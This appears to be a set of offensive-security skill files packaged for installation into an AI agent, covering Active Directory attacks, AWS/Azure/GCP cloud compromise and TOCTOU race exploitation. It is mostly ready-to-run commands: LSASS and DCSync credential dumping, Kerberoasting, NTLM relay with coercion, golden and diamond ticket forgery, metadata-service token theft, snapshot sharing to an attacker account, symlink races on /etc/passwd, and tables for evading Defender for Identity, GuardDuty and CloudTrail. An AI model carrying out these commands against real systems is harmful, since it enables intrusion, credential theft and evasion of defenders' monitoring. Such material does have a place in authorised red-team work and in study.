SharpHound.exe -c DCOnly --Stealth
# Bloodhound.py from Linux (no Windows host needed)
bloodhound-python -d corp.local -u user -p pass -ns 10.0.0.1 -c All
PowerView (No Tool Drop)
# Domain enumeration without binaries
$d = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
Get-DomainUser -SPN | Select samaccountname,serviceprincipalname
Get-DomainComputer -Unconstrained
Get-DomainGPO | ?{$_.gpcmachineextensionnames -match "Restricted Groups"}
Get-DomainObjectAcl -Identity 'Domain Admins' -ResolveGUIDs |
?{$_.ActiveDirectoryRights -match 'WriteDacl|GenericAll|WriteOwner'}
ADExplorer Offline
# Take snapshot from any low-priv user, analyze offline
ADExplorer.exe → File → Create Snapshot
# Convert to BloodHound format
ADExplorerSnapshot.py snapshot.dat -o output/
Credential Harvesting
LLMNR / NBT-NS / mDNS Poisoning
# Capture NetNTLMv2 hashes from broadcast resolution
responder -I eth0 -wrf
# Inveigh (Windows-side, when you have a foothold)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTP Y
Crack with hashcat mode 5600. If cracking fails, relay instead.
NTLM Relay
# Identify relay targets (no SMB signing, LDAP signing not required)
nxc smb 10.0.0.0/24 --gen-relay-list relay-targets.txt
# Relay to LDAP/LDAPS for ACL abuse, ADCS for cert request
impacket-ntlmrelayx -tf relay-targets.txt -smb2support \
--escalate-user attacker --delegate-access
# Relay to ADCS Web Enrollment (ESC8) — requires HTTP endpoint up
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
--adcs --template DomainController
Kerberoasting
# Request TGS for all SPN-bearing accounts
Rubeus.exe kerberoast /outfile:tgs.txt /nowrap
# AES-only accounts (harder to crack but worth attempting)
Rubeus.exe kerberoast /aes /outfile:tgs_aes.txt
# Cross-platform from Linux
impacket-GetUserSPNs corp.local/user:pass -dc-ip 10.0.0.1 -request
hashcat -m 13100 tgs.txt rockyou.txt -r OneRuleToRuleThemAll.rule
ASREProasting
# Find users with DONT_REQUIRE_PREAUTH set
impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.0.0.1 -no-pass
hashcat -m 18200 asrep.txt rockyou.txt
LSASS / SAM Dumping
:: Modern, AV-friendly: comsvcs.dll minidump
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <PID> C:\out.dmp full
:: Task Manager → lsass.exe → Create dump file (GUI route, no binary drop)
:: nanodump (handle duplication, no MiniDumpWriteDump)
nanodump.exe --pid <PID> -w lsass.dmp --valid
Parse with Mimikatz or pypykatz offline:
pypykatz lsa minidump lsass.dmp
Privilege Escalation Within AD
ACL Abuse
| Right | Abuse |
|---|---|
GenericAll / GenericWrite |
Add SPN → Kerberoast; reset password; add member |
WriteDacl |
Grant yourself DCSync rights, then DCSync |
WriteOwner |
Take ownership → grant rights → exploit |
AllExtendedRights (User) |
Force password change |
AllExtendedRights (Domain) |
DCSync |
AddMember |
Add self to privileged group |
WriteSPN |
Set SPN, kerberoast target |
# Targeted Kerberoast (write SPN, roast, remove SPN)
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/SPN'}
Rubeus.exe kerberoast /user:victim
Set-DomainObject -Identity victim -Clear serviceprincipalname
# Grant DCSync via WriteDacl
Add-DomainObjectAcl -TargetIdentity 'DC=corp,DC=local' \
-PrincipalIdentity attacker -Rights DCSync
Kerberos Delegation
# Find delegation
Get-DomainComputer -Unconstrained
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
# Unconstrained → wait for / coerce DC auth, capture TGT
Rubeus.exe monitor /interval:5 /nowrap
# Constrained (S4U2self/S4U2proxy) — impersonate any user to allowed SPN
Rubeus.exe s4u /user:svc_acct /rc4:<hash> /impersonateuser:Administrator \
/msdsspn:cifs/dc.corp.local /ptt
# Resource-Based Constrained Delegation (RBCD) — write msDS-AllowedToActOnBehalfOfOtherIdentity
# Requires GenericAll/GenericWrite on the target computer object
Coercion Primitives
| Technique | Tool / RPC |
|---|---|
| PetitPotam | MS-EFSRPC (EfsRpcOpenFileRaw, EfsRpcEncryptFileSrv) |
| PrinterBug | MS-RPRN (RpcRemoteFindFirstPrinterChangeNotificationEx) |
| DFSCoerce | MS-DFSNM (NetrDfsRemoveStdRoot) |
| ShadowCoerce | MS-FSRVP |
| WebDAV | Search-and-replace UNC path embedded in any web fetch |
# Coerce + relay full chain
impacket-ntlmrelayx -t ldap://dc -smb2support --delegate-access &
PetitPotam.py -u low -p pass attacker-ip dc-ip
# Result: RBCD set, S4U → DA on coerced machine
GPO Abuse
# Find GPOs you can edit
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
?{ $_.SecurityIdentifier -eq (Get-DomainUser current).objectsid `
-and $_.ActiveDirectoryRights -match 'WriteProperty|WriteDacl' }
# SharpGPOAbuse — add scheduled task / immediate task to GPO
SharpGPOAbuse.exe --AddComputerTask --TaskName Update --Author NT\System \
--Command cmd.exe --Arguments "/c net group 'Domain Admins' attacker /add /domain" \
--GPOName "Workstation Policy"
ADCS Abuse — ESC1 through ESC15
Enumeration
certipy find -u user@corp.local -p pass -dc-ip 10.0.0.1 -vulnerable -stdout
Common Misconfigurations
| ID | Misconfig | Exploitation |
|---|---|---|
| ESC1 | Client Auth + ENROLLEE_SUPPLIES_SUBJECT | Request cert with arbitrary UPN |
| ESC2 | Any Purpose EKU | Request cert valid for any use |
| ESC3 | Enrollment Agent | Request agent cert, then on-behalf-of any user |
| ESC4 | Vulnerable template ACL | Modify template to ESC1 |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 on CA | SAN injection on any template |
| ESC7 | Vulnerable CA ACL (ManageCA) | Approve own pending requests |
| ESC8 | Web Enrollment HTTP + no EPA | NTLM relay → cert |
| ESC9 | No security extension + UPN | UPN spoofing post-account-rename |
| ESC10 | StrongCertificateBindingEnforcement weak | UPN spoofing without rename |
| ESC11 | RPC unprotected (no ICertPassage IF_ENFORCEENCRYPTICERTREQUEST) | Relay over RPC |
| ESC13 | Issuance policy linked to group | Cert grants group membership |
| ESC14 | altSecurityIdentities write | Map attacker cert to admin |
| ESC15 | EKUwu — schema v1 templates | Inject EKU at request time |
ESC1 Exploitation
# Request cert as Administrator
certipy req -u user@corp.local -p pass -ca CORP-CA -template VulnTemplate \
-upn administrator@corp.local
# Use cert to get TGT and NT hash via UnPAC-the-Hash
certipy auth -pfx administrator.pfx -dc-ip 10.0.0.1
ESC8 (Web Enrollment Relay)
# Coerce any DC, relay to ADCS Web Enrollment, request DC cert
impacket-ntlmrelayx -t http://ca/certsrv/certfnsh.asp \
--adcs --template DomainController &
PetitPotam.py attacker-ip dc.corp.local
# Result: cert for DC$ → TGT → DCSync
Lateral Movement
Pass-the-Hash / Overpass-the-Hash
# PTH with NT hash
nxc smb 10.0.0.0/24 -u admin -H <NThash> --local-auth
impacket-psexec corp/admin@target -hashes :<NThash>
# Overpass-the-Hash (NT hash → TGT, useful for Kerberos-only targets)
Rubeus.exe asktgt /user:admin /rc4:<NThash> /ptt
Pass-the-Ticket
# Inject TGT
Rubeus.exe ptt /ticket:base64.kirbi
# Or from .ccache
KRB5CCNAME=admin.ccache impacket-secretsdump -k -no-pass dc.corp.local
Silent Lateral Tools
# WinRM (no event logs in default channel for command exec)
evil-winrm -i target -u admin -H <hash>
# SMB exec without service creation (uses task scheduler)
impacket-atexec corp/admin@target -hashes :<hash> "whoami"
# WMI
impacket-wmiexec corp/admin@target -hashes :<hash>
# DCOM (MMC20.Application, ShellWindows, ShellBrowserWindow)
Invoke-DCOM -ComputerName target -Method MMC20 -Command "calc.exe"
Persistence
Golden Ticket (krbtgt forge)
# Requires krbtgt NT hash (from DCSync)
impacket-ticketer -nthash <krbtgt-NT> -domain-sid S-1-5-21-... -domain corp.local Administrator
KRB5CCNAME=Administrator.ccache impacket-psexec -k -no-pass dc.corp.local
Silver Ticket (per-service forge)
# Forge TGS for a specific service using its account hash
impacket-ticketer -nthash <svc-NT> -domain-sid <SID> -domain corp.local \
-spn cifs/server.corp.local Administrator
Diamond / Sapphire Ticket (modern, evades MDI on krbtgt)
# Diamond — modify legitimate TGT in-flight (no krbtgt hash on wire)
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512
DCSync
impacket-secretsdump -just-dc-user 'corp/krbtgt' corp/admin@dc -hashes :<hash>
# In-memory PowerShell variant (Mimikatz)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
DCShadow (register rogue DC, push changes)
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:CN=victim,... /attribute:primaryGroupID /value:519
mimikatz # lsadump::dcshadow /push
AdminSDHolder
Add ACE granting your account GenericAll on CN=AdminSDHolder,CN=System,DC=corp,DC=local. SDProp propagates to all protected groups every 60 minutes.
Forest & Trust Attacks
# Map trusts
Get-DomainTrust -SearchBase "DC=corp,DC=local"
Get-ForestTrust
# SID History injection (cross-forest if SID filtering disabled)
# ExtraSids in golden ticket → admin in trusted forest
impacket-ticketer -nthash <krbtgt> -domain-sid <child-SID> \
-extra-sid S-1-5-21-<parent>-519 -domain child.corp.local Administrator
# Trust ticket forging (inter-realm TGT)
Rubeus.exe asktgs /service:krbtgt/parent.local /ticket:trust-ticket.kirbi
Hybrid AD / Entra ID (Azure AD) Pivots
| Pivot | Path |
|---|---|
| AAD Connect server compromise | Dump MSOL_ account → DCSync on-prem |
| Seamless SSO | Forge Kerberos ticket for AZUREADSSOACC$ → cloud SSO any user |
| PTA agent | DLL hijack Microsoft.Azure.SecurityTokenService → harvest cleartext |
| PHS hash sync | Read on-prem hashes from AAD Connect SQL (ADSync DB) |
| Federated trust | Forge SAML token via stolen ADFS token-signing cert (Golden SAML) |
| Pass-the-PRT | Steal PRT cookie from device → cloud session as user |
# AADInternals — Hybrid identity attack toolkit
Get-AADIntADSyncCredentials # Extract MSOL_ creds from AAD Connect
Open-AADIntOffice365Portal -AccessToken $token
New-AADIntSAMLToken -ImmutableID 'a==' -Issuer 'http://sts/adfs/services/trust' \
-PfxFileName 'token-signing.pfx'
Detection Evasion (MDI / Defender for Identity)
| MDI Detector | Evasion |
|---|---|
| Honeytoken account access | Always check description and recent activity before hitting accounts |
| Reconnaissance via SAMR | Use ADWS / LDAP-only collection, throttle |
| Suspicious Kerberos delegation | Avoid noisy S4U2self chains on monitored DCs |
| Golden/Silver Ticket detection | Use Diamond/Sapphire variants; match legitimate ticket lifetime/encryption |
| DCSync from non-DC | Relay through legitimate replication-permitted accounts |
| Pass-the-Hash | Use overpass-the-hash to convert to Kerberos before lateraling |
# Identify MDI sensors before noisy actions
Get-DomainComputer -SPN '*MicrosoftATA*'
Get-DomainComputer | ?{ $_.servicePrincipalName -match 'AATPSensor' }
Engagement Cheatsheet
# 1. Anonymous LDAP enum (no creds)
ldapsearch -x -H ldap://dc -s base -b "" "(objectclass=*)"
nxc ldap dc -u '' -p '' --users
# 2. Null SMB session
nxc smb dc -u '' -p '' --shares
impacket-rpcclient -U '' dc -no-pass
# 3. Password spray (low and slow)
nxc smb dc -u users.txt -p 'Winter2025!' --continue-on-success
# 4. Once authed: full enum + BloodHound
bloodhound-python -d corp.local -u user -p pass -ns dc -c All --zip
# 5. Identify attack path → execute → loot → persist
Key References
- MITRE ATT&CK: TA0006 (Credential Access), TA0008 (Lateral Movement), T1558 (Steal/Forge Kerberos)
- ADCS: SpecterOps "Certified Pre-Owned" (Schroeder, Christensen)
- BloodHound: bloodhound.specterops.io
- Coercion: github.com/p0dalirius/Coercer (unified coercion toolkit)
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/active-directory.md
Skills/cloud/offensive-cloud/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-cloud -g -y
SKILL.md
Frontmatter
{
"name": "offensive-cloud",
"description": "Cloud security attack methodology covering AWS, Azure, and GCP. Includes credential harvesting (IMDS, ~\/.aws, env vars, leaked CI secrets, instance roles), enumeration with cloud-specific tools (pacu, ScoutSuite, Prowler, ROADtools, gcp_enum), privilege escalation paths (IAM PassRole, AssumeRole chains, Lambda\/Functions privilege flips, Azure Owner-on-self, GCP serviceAccountTokenCreator), persistence techniques (IAM user\/key creation, AAD app registration, GCP svc account key creation, EventBridge\/Logic Apps backdoors), data exfiltration (S3\/Blob\/GCS, snapshot share, RDS\/CosmosDB\/Cloud SQL exfil), cloud-native lateral movement (cross-account assume, Azure AD multi-tenant, GCP project hierarchy), serverless attacks (Lambda env vars, layer hijack, Step Functions), Kubernetes-on-cloud (EKS\/AKS\/GKE-specific paths to node and AWS metadata), and CSPM evasion (CloudTrail blind spots, GuardDuty mute, Sentinel rule shaping). Use when the engagement scope is cloud accounts, when you've stolen cloud credentials, or when assessing cloud posture."
}
Cloud (AWS / Azure / GCP) — Offensive Testing Methodology
Quick Workflow
- Identify the cloud and the identity context you have (user, role, service account, instance role)
- Enumerate without writes —
aws sts get-caller-identity,az account show,gcloud auth list - Map permissions to known privilege-escalation primitives (PassRole, Owner, etc.)
- Find the data and the persistence anchors before alarms fire
- Document the kill chain with timestamps, identities, and resources for the report
AWS
Identity Discovery
aws sts get-caller-identity
aws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | awk -F/ '{print $NF}')
aws iam list-attached-role-policies --role-name <role>
aws iam simulate-principal-policy --policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
--action-names "*"
IMDS Credential Theft
# IMDSv1 (legacy)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>
# IMDSv2 (modern, requires token)
TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" \
-H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/
From SSRF, IMDSv2 was historically reachable when the SSRF allowed setting custom headers. Modern AWS denies SSRF without Host: 169.254.169.254 and proper PUT-then-GET flow — SSRF in 2024+ rarely yields IMDSv2 unless the proxy reflects custom headers.
Privilege Escalation Paths
| Path | Required Permission | Outcome |
|---|---|---|
iam:PassRole + lambda:CreateFunction |
Pass any role to Lambda you create | Run code as that role |
iam:PassRole + ec2:RunInstances |
Pass any role to EC2 instance | IMDS → role creds |
iam:CreatePolicyVersion + iam:SetDefaultPolicyVersion |
Edit your own policy | Self-elevate |
iam:UpdateAssumeRolePolicy |
On a privileged role | Add yourself as principal |
iam:CreateLoginProfile (on user without one) |
Set console password | Console access |
iam:CreateAccessKey (on another user) |
Mint keys for someone else | Persistent access |
sts:AssumeRole with sts:TagSession to ABAC role |
If role trusts session tags | Tag-based escalation |
cloudformation:CreateStack + permissive role |
Run any service action | Indirect arbitrary perms |
glue:UpdateDevEndpoint |
Inject SSH key into Glue endpoint | Code exec as Glue role |
ssm:SendCommand to any instance |
RCE on instances + their roles | Lateral + escalation |
# Pacu — the tooling for AWS escalation
pacu
> import_keys default
> run iam__enum_permissions
> run iam__privesc_scan
Cross-Account / Organization
# Find roles trusting the current account
aws iam list-roles --query 'Roles[?AssumeRolePolicyDocument!=null]'
# Then grep AssumeRolePolicyDocument.Statement for trusts to your account
# Org-wide (if Organizations access)
aws organizations list-accounts
aws organizations list-roots
Data Targets
# S3
aws s3api list-buckets
aws s3 ls s3://<bucket> --recursive | head
aws s3api get-bucket-policy --bucket <bucket>
# Cross-region snapshot share (data exfil without S3)
aws ec2 modify-snapshot-attribute --snapshot-id snap-... \
--attribute createVolumePermission \
--create-volume-permission "Add=[{UserId=ATTACKER_ACCT}]"
# RDS snapshot share
aws rds modify-db-snapshot-attribute --db-snapshot-identifier mysnap \
--attribute-name restore --values-to-add ATTACKER_ACCT
# Secrets Manager / Parameter Store
aws secretsmanager list-secrets
aws ssm get-parameters-by-path --path / --recursive --with-decryption
Persistence
# Cross-account SCP exemption via service-linked role
# AWS Config snapshot delivery channel rerouted to attacker bucket
aws configservice put-delivery-channel ... # Rare but devastating
# EventBridge rule firing Lambda you control on every IAM change
# Backdoor: Lambda creates an access key for any new admin user
Detection Evasion
- CloudTrail to multi-region with log file validation — disable validation if you have perms
- GuardDuty findings can be muted via
update-findings-feedbackif you have the permission (rare in prod) - VPC Flow Logs only catch IP traffic; control-plane API calls are CloudTrail-only
Azure
Identity Discovery
az account show
az ad signed-in-user show
az role assignment list --all --assignee $(az ad signed-in-user show --query id -o tsv)
# Microsoft Graph
az rest --method GET --uri "https://graph.microsoft.com/v1.0/me"
IMDS
curl -H "Metadata:true" \
"http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"
Privilege Escalation Paths
| Path | Required Role / Permission | Outcome |
|---|---|---|
| User Access Administrator on self/sub | Grant self Owner | Subscription Owner |
| App Registration owner | Add cert/secret, mint app-only tokens | App's permissions |
| Virtual Machine Contributor + Reader on KV | Run command on VM with MSI → KV | Secrets |
Custom role with */write on RBAC |
Edit role assignments | Self-elevate |
| Logic App contributor | Edit workflow → privileged action | Indirect any action |
| Automation Account contributor | RunBook with Run-As account | Run as RunAs identity |
AAD Application Administrator |
Assign app to high-priv role | Cloud admin via app |
AAD Cloud Application Administrator |
Same minus on-prem | Cloud admin |
AAD Directory Synchronization Account |
DCSync via AAD Connect | All on-prem hashes |
| Privileged Authentication Administrator | Reset MFA / passwords for Globals | Global Admin reset |
# ROADtools — the AAD enumeration toolkit
roadrecon auth -u user@tenant -p pass
roadrecon gather
roadrecon gui # browse the gathered DB
# AzureHound for BloodHound integration
azurehound list -u user -p pass --tenant tenant.onmicrosoft.com
Data Targets
# Storage account access keys (gold)
az storage account keys list -g RG -n SA
# Key Vault (per RBAC + access policies)
az keyvault secret list --vault-name myvault
az keyvault secret show --vault-name myvault -n cred
# Cosmos DB primary keys
az cosmosdb keys list -g RG -n acct
# SQL admin reset
az sql server ad-admin create -g RG -s server -u attacker@tenant -i <obj-id>
Persistence
# Add cert to existing privileged AAD application
az ad app credential reset --id <app-id> --append
# Conditional Access bypass: add own service principal to "trusted locations" / exclusions
# Custom rules to AAD Audit log retention
Detection Evasion
- AAD Audit Log: tenant-level, can't be tampered with from below Global Admin
- Microsoft Sentinel: rule shaping if you have Workbook / Analytics Rule write
- Defender for Cloud: alert suppression rules
GCP
Identity Discovery
gcloud auth list
gcloud projects list
gcloud iam service-accounts list
gcloud projects get-iam-policy $(gcloud config get-value project)
IMDS
curl -H "Metadata-Flavor: Google" \
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
Privilege Escalation Paths
| Path | Required Permission | Outcome |
|---|---|---|
iam.serviceAccountTokenCreator on SA |
Mint tokens as SA | SA's perms |
iam.serviceAccountUser + compute.instances.create |
Pass SA to new VM | Run as SA via IMDS |
iam.serviceAccountKeyAdmin |
Create JSON key for any SA | Persistent SA creds |
cloudbuild.builds.create |
Build runs as Cloud Build SA (often Editor) | Editor on project |
deploymentmanager.deployments.create |
Runs as DM SA (often Owner) | Owner |
cloudfunctions.functions.create + actAs |
Pass any SA to function | Run as that SA |
dataflow.jobs.create + actAs |
Same pattern | SA's perms |
iam.roles.update (custom roles) |
Add permissions to a role you have | Self-elevate |
resourcemanager.projects.setIamPolicy |
Grant self any role | Owner |
# gcp_enum / gcp_scanner
git clone https://github.com/google/gcp_scanner
python gcp_scanner.py -k gcp.json -o out/
# Hunt for SA impersonation paths
gcloud iam service-accounts get-iam-policy <sa-email>
# Look for ServiceAccountTokenCreator on something you control
Data Targets
# GCS buckets
gcloud storage ls
gsutil ls -L gs://bucket
gsutil iam get gs://bucket
# Cloud SQL
gcloud sql instances list
gcloud sql users list --instance <instance>
# Secret Manager
gcloud secrets list
gcloud secrets versions access latest --secret=<name>
Cross-Project / Folder Pivot
# Org-level perms?
gcloud organizations list
gcloud resource-manager folders list --organization <id>
gcloud projects list --filter="parent.id=<folder-id>"
Cross-Cloud Patterns
CI/CD as the Pivot
Most cloud takeovers in 2024-2025 start with CI tokens:
- GitHub Actions OIDC misconfigured → assume any AWS role with weak
subclaim - GitLab CI pushed to wrong branch → gains prod role
- Jenkins agent with cloud credentials in env
Test the OIDC trust policy claims carefully:
"Condition": {
"StringLike": {
"token.actions.githubusercontent.com:sub": "repo:org/*"
}
}
Snapshot Sideways (works on all 3)
Take a snapshot of a victim VM/disk → share or mount it under a controlled account → extract data offline. Bypasses host-level guardrails.
Secrets-in-Logs
CloudTrail / Activity Log / Cloud Audit Logs sometimes log request bodies. Look for SaaS integrations that POST API keys — they may end up in audit logs.
Container Registry Poisoning
ECR/ACR/Artifact Registry — if you have push perms on a tag in use by production, replace the image. Tag mutability is the bug.
Tooling Matrix
| Tool | AWS | Azure | GCP | Use |
|---|---|---|---|---|
| ScoutSuite | ✓ | ✓ | ✓ | Posture audit |
| Prowler | ✓ | ✓ | ✓ | CIS/PCI checks |
| Pacu | ✓ | Offensive framework | ||
| CloudGoat | ✓ | Vulnerable lab | ||
| BloodHound + AzureHound | ✓ | Graph-based escalation | ||
| ROADtools | ✓ | AAD recon + offline analysis | ||
| MicroBurst | ✓ | PS-based offensive | ||
| Stormspotter | ✓ | MS' own offensive enum | ||
| gcp_scanner | ✓ | Token-based recon | ||
| GCPBucketBrute | ✓ | GCS bucket discovery |
Engagement Cheatsheet
[ ] sts/get-caller-identity, az account show, gcloud auth list
[ ] Enumerate effective permissions (simulate-principal-policy / get-iam-policy)
[ ] Map known privesc paths against current perms
[ ] Pacu/ROADtools/gcp_scanner full enumeration
[ ] Identify data crown jewels (S3/Blob/GCS, KV, secrets)
[ ] Test cross-account/tenant/project trust paths
[ ] Test CI/CD OIDC trust policies
[ ] Test backup/snapshot exfiltration paths
[ ] Document discovered identities, paths, and data with timestamps
[ ] Persistence demonstrated only with explicit authorization
Key References
- AWS IAM permissions reference (boto3 docs)
- Azure RBAC built-in roles + actions list
- GCP IAM permissions reference
- HackTricks Cloud — ongoing reference for newest paths
- "Pacu" framework docs — pacu.aws.cloud
- MITRE ATT&CK Cloud Matrix
- Source: https://github.com/SnailSploit/offensive-checklist/blob/main/cloud.md
Skills/exploit-dev/offensive-toctou/SKILL.md
npx skills add SnailSploit/Claude-Red --skill offensive-toctou -g -y
SKILL.md
Frontmatter
{
"name": "offensive-toctou",
"description": "Time-of-Check \/ Time-of-Use (TOCTOU) race condition exploitation methodology across binary, kernel, filesystem, web, and container layers. Covers symbolic-link races (open\/access\/stat split), file-descriptor races, fopen\/realpath traversal races, \/proc and procfs races, FUSE-backed slow-fs races to widen the window, ptrace and signal races, kernel double-fetch \/ userspace pointer races, container\/runc\/symlink escape primitives, kubernetes admission\/authz TOCTOU, web auth-vs-authz TOCTOU, JWT-claim TOCTOU at gateway vs service, payment\/idempotency races, and modern race-amplification techniques (single-packet attack, slow loris, FUSE pause, cgroup freeze, scheduler shaping). Use when you've identified a 'check then act' pattern in code, when fuzzing for race conditions, or when exploiting concurrency bugs in privileged binaries \/ kernel \/ orchestrators."
}
TOCTOU — Time-of-Check / Time-of-Use Exploitation
A TOCTOU bug exists wherever code checks a property (file owner, path target, token validity, balance) and then acts on it as if the property still holds. Between check and use is a window — your job is to widen it and swap the underlying object.
Quick Workflow
- Identify the check (syscall, function, validation step) and the use (the privileged action)
- Confirm the check and use don't operate on the same kernel object (FD, inode, atomic snapshot)
- Build a primitive that swaps the object between check and use (symlink, mount, mv, parallel request)
- Widen the window with FUSE, slow filesystems, scheduler tricks, or single-packet HTTP/2
- Run a tight loop and confirm the post-use state corresponds to the swapped target
The Core Pattern
// Vulnerable
if (access(path, W_OK) == 0) { // check — resolves "path" now
fd = open(path, O_WRONLY); // use — re-resolves "path" later
write(fd, attacker_data, n);
}
Between access and open, an attacker replaces path with a symlink to /etc/shadow. The check sees an attacker-owned file; the use opens shadow as root.
The fix is always: operate on the kernel object, not the path. Use O_NOFOLLOW, openat with AT_SYMLINK_NOFOLLOW, fstat on the FD, etc.
Filesystem TOCTOU
Symlink Swap (Classic)
# Setup target — privileged binary that writes to user-supplied path after access() check
victim --output /tmp/.attacker/output
# Race loop
while true; do
ln -sf /etc/passwd /tmp/.attacker/output 2>/dev/null
ln -sf /tmp/.attacker/legit /tmp/.attacker/output 2>/dev/null
done &
# Run victim repeatedly
while true; do victim --output /tmp/.attacker/output; done
renameat2(RENAME_EXCHANGE) — Atomic Single-Frame Swap
syscall(SYS_renameat2, AT_FDCWD, "good", AT_FDCWD, "bad", RENAME_EXCHANGE);
RENAME_EXCHANGE swaps two paths atomically — combined with FUSE-paused dir lookups, this is a near-deterministic primitive on Linux ≥ 3.15.
Directory Swap (mv between two prepared trees)
When the victim resolves parent/file, swap parent itself:
mv good_dir parent && mv evil_dir parent_was_good_dir
# If victim is mid-resolution of `parent/file`, dir cache may pin one side
Bind Mount / Mount-Namespace Swap (root-only or in user-ns)
unshare -mUr
mkdir /tmp/x /tmp/y
echo benign > /tmp/x/file
mount --bind /etc/shadow /tmp/y/file
# Then: while true; do mount --move /tmp/x /tmp/m; mount --move /tmp/y /tmp/m; done
In containerized contexts with CAP_SYS_ADMIN in a user namespace, this is the foundation of multiple runc/CVE escape chains.
Window-Widening Primitives
The race is always winnable in theory; in practice you need the window large enough for your swap.
FUSE-Backed Slow Filesystem
Mount a FUSE filesystem you control. When the victim does open or stat, your handler sleeps:
# fusepy
class SlowFS(Operations):
def getattr(self, path, fh=None):
if path == '/trigger':
time.sleep(5) # stretch the check
return os.lstat(self.root + path).__dict__
Now the check call inside the victim blocks for 5 seconds — plenty of time to swap the post-check filename.
Userfaultfd (kernel-level page faults)
// Register a userfault region; when the victim reads the user-controlled buffer,
// pause it in the page-fault handler, swap data, then resume.
ioctl(uffd, UFFDIO_REGISTER, ®);
userfaultfd can pause a kernel-side copy_from_user mid-read, enabling double-fetch wins. Linux ≥ 5.11 requires vm.unprivileged_userfaultfd=1 (off by default in many distros).
Cgroup Freeze
mkdir /sys/fs/cgroup/race
echo $victim_pid > /sys/fs/cgroup/race/cgroup.procs
echo 1 > /sys/fs/cgroup/race/cgroup.freeze # pause
# swap files
echo 0 > /sys/fs/cgroup/race/cgroup.freeze # resume
Single-CPU Pinning + sched_yield
cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set);
sched_setaffinity(victim_pid, sizeof(set), &set);
// Race threads on same CPU — context switch is the only progress unit
Kernel Double-Fetch
A kernel function reads the same userspace location twice; an attacker mutates it in between using userfaultfd or another thread.
// Vulnerable kernel pattern
copy_from_user(&size, &user_arg->size, 4); // first fetch
if (size > MAX) return -EINVAL;
copy_from_user(buf, user_arg->data, size); // size re-fetched? Or from local? Check carefully.
Tooling: KFENCE, Bochspwn-Reloaded, DECAF — fuzzers and analyzers that detect double-fetches.
/proc and procfs Races
/proc/pid/exe + ptrace
/proc/<pid>/exe is a magic symlink. If a privileged binary opens it after fork+exec, an attacker can race the exec to point exe at attacker-controlled binary on a slow filesystem. Foundation of CVE-2019-5736 (runc).
// Sketch
fd = open("/proc/self/exe", O_RDONLY); // by attacker, in container
// Then the host runc opens /proc/<pid>/exe to write — opens *attacker's* exe → host RCE
/proc/pid/mem
open("/proc/pid/mem") followed by lseek+write historically bypassed write protections. Modern kernels enforce ptrace credentials at write time, but legacy or patched-out checks still exist in embedded kernels.
/proc/pid/cwd / fd / root
Symlinks resolve at deref time using the target task's namespace. Cross-namespace deref of /proc/pid/root/etc/shadow from a sibling container is a recurring vuln class.
Setuid Binary TOCTOU
// Vulnerable flow in classic SUID binary
if (!access(file, R_OK)) { // check with real UID via access()
fd = open(file, O_RDONLY); // open with effective UID = root
sendfile(stdout, fd, ...);
}
Symlink swap between access and open makes the binary read root-readable files for unprivileged users.
Rule of thumb when reviewing setuid/setgid binaries: every path appearing twice in a syscall trace is a candidate.
strace -f -e openat,access,stat,lstat,readlink ./suid_binary 2>&1 | grep "$user_input"
# Multiple resolutions of the same user-controlled path = TOCTOU surface
Container Escape via TOCTOU
CVE-2019-5736 (runc) — /proc/self/exe Overwrite
When a container runs docker exec, runc opens /proc/self/exe from the host. By replacing the in-container binary with a symlink to /proc/self/exe, the host runc rewrites itself.
CVE-2024-21626 (runc "Leaky Vessels") — Working-Directory FD Leak
A leaked file descriptor to the host filesystem could be inherited via WORKDIR /proc/self/fd/<n> — the container's first process held a host FD, races on namespace setup let it act on host paths.
Symlink-on-Mount Race
When the runtime resolves a bind-mount source/target path (e.g. for tmpfs setup), a fast attacker swaps a directory in the path with a symlink to /. Common in Kubernetes hostPath, Docker volumes, OpenShift SCC bypasses.
Web / API TOCTOU
Auth vs Authz Split at Gateway
Gateway: validates JWT (signature, exp) → forwards to service
Service: trusts gateway's "X-User-Id" header
If the JWT is revoked between gateway cache and gateway validation, or the gateway caches "valid" results too long, you get post-revocation access. Cache-key confusion (different gateway nodes) widens the window.
Permission Recheck Skipped on Long-Running Action
# Vulnerable
def long_export(user, resource_id):
check_access(user, resource_id) # check
data = stream_resource(resource_id) # use — minutes long
return data # access could have been revoked mid-stream
Test: revoke access while a download is mid-stream; if data continues, recheck is missing.
Idempotency-Key Reuse with Different Body
POST /api/withdraw Idempotency-Key: K1 { "amount": 1 }
POST /api/withdraw Idempotency-Key: K1 { "amount": 1000 } # Same key, different body
Many implementations key only on the key, not key+body-hash → second request returns the first's response while still processing the second's debit.
Single-Packet Multi-Request
HTTP/2: hold N requests' DATA frames, send all END_STREAM in one TCP segment.
Server schedules N handlers concurrently with sub-millisecond skew → reliable race wins.
Tool: Burp Repeater "Send group in parallel (single-packet)".
This is the standard primitive for web TOCTOU since 2023; old httpie ... & parallelism is obsolete.
Limit / Quota TOCTOU
# Vulnerable
if user.balance >= amount: # check
user.balance -= amount # use — non-atomic read-modify-write
pay(user, amount)
Send N parallel requests, each sees the same pre-decrement balance. Fix: atomic decrement with constraint (UPDATE ... WHERE balance >= amount).
